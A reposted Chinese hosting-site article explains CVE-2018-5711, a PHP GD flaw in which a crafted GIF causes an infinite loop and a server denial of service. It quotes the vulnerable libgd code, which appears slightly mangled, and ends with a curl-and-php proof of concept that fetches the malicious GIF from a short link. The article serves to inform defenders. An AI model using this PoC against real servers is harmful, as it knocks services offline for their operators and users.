当前位置:   首页国外主机资讯仅凭一个GIF图片就可以服务器宕机的PHP漏洞

仅凭一个GIF图片就可以服务器宕机的PHP漏洞

发布日期:2021-06-07 15:24 | 文章来源:小红书

漏洞服务器

  前一段时时间,TW 表示 Web漏洞技术高手(Orange Tsai)针对一部分Web现有框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。漏洞影响的PHP版本

  包含以下PHP系列和其它所有PHP版本

  老旧版本的 PHP 5 < 5.6.33

  新版本 PHP 7.0 < 7.0.27

  新版本 PHP 7.1 < 7.1.13

  新版本 PHP 7.2 < 7.2.1

  ol流程

  漏洞存在于文件ext/gd/libgd/gd_gif_in.c中,其中在LWZReadByte_函数中存在一个循环(while-loop):

  460 do {461 sd->firstcode = sd->oldcode =461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);463 } while (sd->firstcode == sd->clear_code);

  GetCode函数仅只是一个包装类,GetCode_才是真正的执行体:

  376 static int377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)378 {379 int i, j, ret;380 unsigned char count; ...399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)400 scd->done = TRUE; ... 405 }

  GetCode_ 会调用GetDataBlock来读取GIF图片中的数据:

  332 static int333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)334 {335 unsigned char count;336 336 if (! ReadOK(fd,&count,1)) {338 return -1;339 }340 341 *ZeroDataBlockP = count == 0;342 343 if ((count != 0) && (! ReadOK(fd, buf, count))) {344 return -1;345 }346347 return count;348 }

  上面全是涉及到的漏洞代码,你有发现一些端倪吗?

  这个漏洞依赖于从整形--int--到无符号字符unsigned a char--的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。

  因此,得到的结果就是,只需要一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。

  PoC

  $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif$ php -r 'imagecreatefromgif("poc.gif");' Infinite loop here...

  在网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。本公司高防服务器 安全防御专家 提醒您 注意此漏洞的修复和保护自我安全意识。

  版权声明:本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。

联系我们
关于使用场景和技术架构的更多咨询,请联系我们的销售和技术支持团队。
Yingsoo Host

在线
客服

在线客服:7*24小时在线

客服
热线

400-630-3752
7*24小时客服服务热线

关注
微信

关注官方微信
顶部